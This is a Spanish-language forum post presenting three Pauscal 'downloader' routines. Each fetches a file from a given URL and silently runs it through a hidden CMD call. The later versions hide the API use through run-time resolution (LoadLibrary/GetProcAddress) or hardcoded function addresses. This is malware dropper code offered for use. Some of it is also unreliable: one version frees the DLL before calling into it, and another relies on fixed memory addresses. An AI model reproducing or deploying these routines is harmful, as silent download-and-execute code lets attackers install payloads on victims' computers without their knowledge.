Downloaders en Pauscal
Ejemplos de Downloaders en Pauscal
Downloader #1
Con las tipicas apis de windows, usando WinExec en vez de ShellExecute.
Código: Text
- Proc URLDownloadToFile(:Entero,Referencia,:Cadena,,:Entero):Entero,"Urlmon.dll" "URLDownloadToFileA"
- Proc WinExec(Referencia lpCmdLine:Cadena,uCmdShow:Entero):Entero,"Kernel32.dll"
- Proc Downloader_1(Referencia URL,Archivo:Cadena)
- Si URLDownloadToFile(0,URL,Archivo,0,0) = 0 Entonces WinExec("CMD /D /C " + #34 + Archivo + #34,0)
- FinProc
Downloader #2
Usando las mismas apis, pero utilizando prototipos en vez de declaraciones, mas LoadLibrary y GetProcAdress.
Código: Text
- Prototipo URLDownloadToFile(,,,,:Entero):Entero
- Prototipo WinExec(,:Entero):Entero
- Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
- Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
- Proc FreeLibrary(hLibModule:Entero):Entero,"Kernel32.dll"
- Proc Downloader_2(Referencia URL,Archivo:Cadena)
- Var LibreriaPtr,ProcedimientoPtr:Entero
- Var EnlaceAArchivo:UrlDownloadToFile
- Var WinEjecutar:WinExec
- Var UrlCheck:Entero
- Var Comando:Cadena
- Var @Ptr1,@Ptr2,@Ptr3:Entero
- Comando = "CMD /D /C " + #34 + Archivo + #34
- Ptr1@ = Url@ ' Los prototipos deben enviar punteros a las cadenas como las llamadas originales.
- Ptr2@ = Archivo@
- Ptr3@ = Comando@
- LibreriaPtr = LoadLibrary("Urlmon.dll")
- Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no carga la libreria, salir del procedimiento.
- ProcedimientoPtr = GetProcAddress(LibreriaPtr,"URLDownloadToFileA")
- Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
- FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
- EnlaceAArchivo@ = ProcedimientoPtr
- Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces ' Establecemos los parametros y llamamos a la API.
- LibreriaPtr = LoadLibrary("Kernel32.dll")
- Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no carga la libreria, salir del procedimiento.
- ProcedimientoPtr = GetProcAddress(LibreriaPtr,"WinExec")
- Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
- WinEjecutar@ = ProcedimientoPtr
- WinEjecutar(Ptr3,0)
- FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
- FinSi
- FinProc
Downloader #3
ATENCIÓN! Este puede no funcionar en todos los sistemas operativos, basicamente es el código anterior, pero usamos los punteros a los procedimientos DIRECTAMENTE, sin obtenerlos mediante GetProcAddress.
Código: Text
- Prototipo URLDownloadToFile(,,,,:Entero):Entero
- Prototipo WinExec(,:Entero):Entero
- Proc Downloader_3(Referencia URL,Archivo:Cadena)
- Var LibreriaPtr,ProcedimientoPtr:Entero
- Var EnlaceAArchivo:UrlDownloadToFile
- Var WinEjecutar:WinExec
- Var Comando:Cadena
- Var @Ptr1,@Ptr2,@Ptr3:Entero
- Comando = "CMD /D /C " + #34 + Archivo + #34
- Ptr1@ = Url@
- Ptr2@ = Archivo@
- Ptr3@ = Comando@
- EnlaceAArchivo@ = 1977837776
- Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces
- WinEjecutar@ = 1881876227
- WinEjecutar(Ptr3,0)
- FinSi
- FinProc
Autor: Yuki